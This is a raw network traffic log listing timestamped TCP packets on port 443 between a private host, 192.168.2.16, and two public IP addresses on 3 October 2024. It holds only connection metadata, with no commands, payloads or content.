Oct 3, 2024 18:19:50.699521065 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.699525118 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.704020977 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.716336012 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716705084 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716743946 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716748953 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.716772079 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716804028 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716811895 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.716818094 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.716862917 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.717200994 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717282057 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717317104 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.717319012 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717331886 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717365026 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.717464924 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717608929 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717643976 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.717648983 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717679977 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717710972 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717713118 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.717721939 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.717756033 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.718422890 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.718487978 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.718523979 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.718524933 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.718533993 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.718569994 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.718574047 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.720021963 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.720060110 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.735400915 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.736023903 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.736027002 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.736037970 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.736038923 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.747395992 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.752017975 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.752027035 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.768012047 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.768013954 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.768026114 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774271011 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774430037 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774452925 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774472952 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774492025 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.774501085 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774527073 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.774538994 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.774547100 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.777713060 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.777771950 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.777781010 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.777854919 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.777903080 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.777911901 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778203011 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778268099 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778275013 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778296947 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778325081 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778332949 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778353930 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778460026 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778512955 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778521061 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778798103 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778861046 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778868914 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778884888 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778917074 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.778923988 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.778944969 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.779278040 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.779340982 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.779355049 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.779406071 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.779421091 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.779489040 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.779515028 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.779571056 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.780128002 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.780193090 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.780220985 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.780282974 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.780309916 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.780364037 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.784120083 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.784136057 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.799164057 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.804725885 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.804949045 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.805011034 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807473898 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807544947 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807590008 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807635069 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807682991 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.807682991 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.807691097 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807722092 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807768106 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.807776928 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807832956 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.807878017 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.808233976 CEST	49832	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.808258057 CEST	443	49832	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.808909893 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.809016943 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.809346914 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.809484959 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.809498072 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.809586048 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.810594082 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.810659885 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.810735941 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.810790062 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.810822964 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.810873032 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.810996056 CEST	49839	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.811024904 CEST	443	49839	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.811120987 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.811130047 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.811989069 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.812184095 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.812244892 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.812275887 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.812304974 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.812529087 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.813210964 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.813296080 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.813342094 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.813405991 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.813564062 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814250946 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814325094 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.814353943 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814389944 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814421892 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.814444065 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814469099 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.814635038 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814692974 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.814704895 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.814757109 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815079927 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.815152884 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815177917 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.815231085 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815272093 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.815319061 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815329075 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.815452099 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.815505981 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815570116 CEST	49831	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.815601110 CEST	443	49831	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.818032026 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.818078995 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.818386078 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.818499088 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.818551064 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.818619967 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.818689108 CEST	49841	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.818722010 CEST	443	49841	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.818900108 CEST	49842	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.818929911 CEST	443	49842	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844331026 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844450951 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844511986 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.844540119 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844633102 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844681978 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.844696045 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844830036 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.844878912 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.844890118 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.845613956 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.845676899 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.845689058 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.845798016 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.845843077 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.845854044 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.847549915 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847640991 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847692013 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847690105 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.847723007 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847769976 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.847779036 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847856998 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.847898006 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.848464012 CEST	49833	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.848483086 CEST	443	49833	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.849205971 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.849263906 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.849271059 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.851165056 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.851206064 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.851279020 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.851632118 CEST	49843	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.851641893 CEST	443	49843	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.851967096 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.852044106 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852103949 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.852274895 CEST	49844	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.852293968 CEST	443	49844	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852320910 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852377892 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852427006 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852427006 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.852444887 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852490902 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.852499008 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.852979898 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.853023052 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.853033066 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.853504896 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.853543043 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.853560925 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.853571892 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.853620052 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.857156038 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.857218981 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.857274055 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.857290030 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.863050938 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.863076925 CEST	443	49836	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.867476940 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.867571115 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.867604971 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.867682934 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.870990992 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871057987 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871149063 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871206999 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871329069 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871364117 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871402979 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871419907 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871437073 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871445894 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871493101 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871495008 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871515989 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871577978 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871598959 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871670961 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.871682882 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.871737003 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872179985 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872214079 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872242928 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872267962 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872291088 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872311115 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872323036 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872334957 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872360945 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872533083 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872591972 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872606993 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872638941 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872661114 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872673035 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872698069 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872832060 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872869015 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872886896 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872900963 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872925997 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.872926950 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.872994900 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.873008966 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.873064041 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.873449087 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.873514891 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.873573065 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.873642921 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.873650074 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.873661995 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.873706102 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.873972893 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.874036074 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.874074936 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.874138117 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.895054102 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.910032034 CEST	49836	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.910134077 CEST	49834	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.916085958 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:50.916191101 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:50.931545973 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.931977987 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932046890 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.932060003 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932086945 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932135105 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.932174921 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932313919 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932370901 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.932399988 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932899952 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.932974100 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.932988882 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933072090 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933120012 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.933131933 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933732986 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933794022 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.933805943 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933890104 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.933942080 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.933953047 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.934627056 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.934686899 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.934699059 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.934850931 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.934906006 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.934916973 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.935425043 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.935484886 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.935497046 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.937133074 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.937196970 CEST	49835	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:50.937210083 CEST	443	49835	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941395044 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941446066 CEST	443	49834	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:50.941560030 CEST	443	49834	104.21.32.108	192.168.2.16
